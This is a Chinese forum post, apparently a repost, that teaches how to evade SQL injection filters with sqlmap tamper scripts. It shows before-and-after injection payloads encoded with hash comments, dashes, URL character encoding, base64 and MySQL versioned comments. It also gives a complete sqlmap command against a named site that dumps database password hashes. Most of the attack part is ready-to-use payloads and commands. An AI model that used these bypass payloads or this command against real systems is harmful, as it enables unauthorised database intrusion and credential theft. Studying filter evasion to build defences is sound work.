设为首页 收藏本站
查看: 1122|回复: 0

[经验分享] SQLMAP绕过SQL注入限制

[复制链接]

尚未签到

发表于 2018-10-23 11:04:17 | 显示全部楼层 |阅读模式
前言:  SQL注入***是***对数据库进行***的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据。
  然而随着SQL注入***的高潮过后,越来越多的安全人员想出了防止SQL***的方式,例如利用instr()函数,过滤注入关键字等等的方法。所以如何绕过这些防止***的手段,是目前的安全研究人员们的常规研究方向。
  关于SQLMAP:
  Sqlmap是一款开源的命令行自动SQL注入工具。它由Bernardo Damele A.G.和Daniele Bellucci以GNU GPLv2许可证方式发布,可从http://sqlmap.sourceforge.net上下载。
  Sqlmap用Python开发而成,这使得它能够独立于底层的操作系统,而只需2.4或之后版本的Python解释器即可。为了使事情更容易,许多GNU/Linux在发布时都创新性地附带安装了Python解释器包。Windows、UNIX和Mac OSX也均有提供或者可免费获取。
  今天我来说说如何绕过注入限制。
  MYSQL BYPASS
  脚本:space2hash.py含有免杀功能,对于MYSQL数据库 4.0、5.0注入
  例子:
  * 注入语句:1 AND 9227=9227
  * 替换成为:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
  脚本: space2morehash.py含有免杀功能,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
  例子:
  * 注入语句:1 AND 9227=9227
  * 替换成为:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
  如何使用这些BYPASS绕过脚本? 你可以用SQLMAP的 --tamper 参数。
  一个注入点:http://sql.dis9.com/sql.php?id=1 我们首先判断他数据库的版本

  然后选择对于版本的bypass脚本进行使用,我们来尝试一下::

  看图片的注释,提示版本错误,我们来换个BYPASS脚本,使用space2dash.py试试。
  这个是SQLite数据库和MYSQL数据库的,例子:
  * 注入语句:1 AND 9227=9227
  * 输出:1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
  尝试一下,看下图,PAYLOAD已经被编码:
  sqlmap -u "http://sql.dis9.com/sql.php?id=1" -v 3 --password --batch --tamper "space2dash.py"

  换个编码吧,换encodes编码:charencode.py
  * Microsoft SQL Server 2005
  * MySQL 4, 5.0 and 5.5
  * Oracle 10g
  * PostgreSQL 8.3, 8.4, 9.0
  * 注入语句:SELECT FIELD FROM%20TABLE
  * 替换为:%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

  base64编码脚本:base64encode.py
  * 注入语句:1' AND SLEEP(5)#
  * 替换为:MScgQU5EIFNMRUVQKDUpIw==
  替换空格和关键字 :halfversionedmorekeywords.py
  * 注入语句:
1value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa  * 替换成:
1value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa  其他类型数据库看官网介绍吧:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/
  MSSQL等等的都有,自己发挥吧。

  原文地址,听潮社区http://www.f4ck.org/article-2183-1.html


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-625377-1-1.html 上篇帖子: SQL Server 树形表非循环递归查询 下篇帖子: SQL Server扩展事件(Extended Events)-- 使用扩展事件跟踪监控死锁脚本实现
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表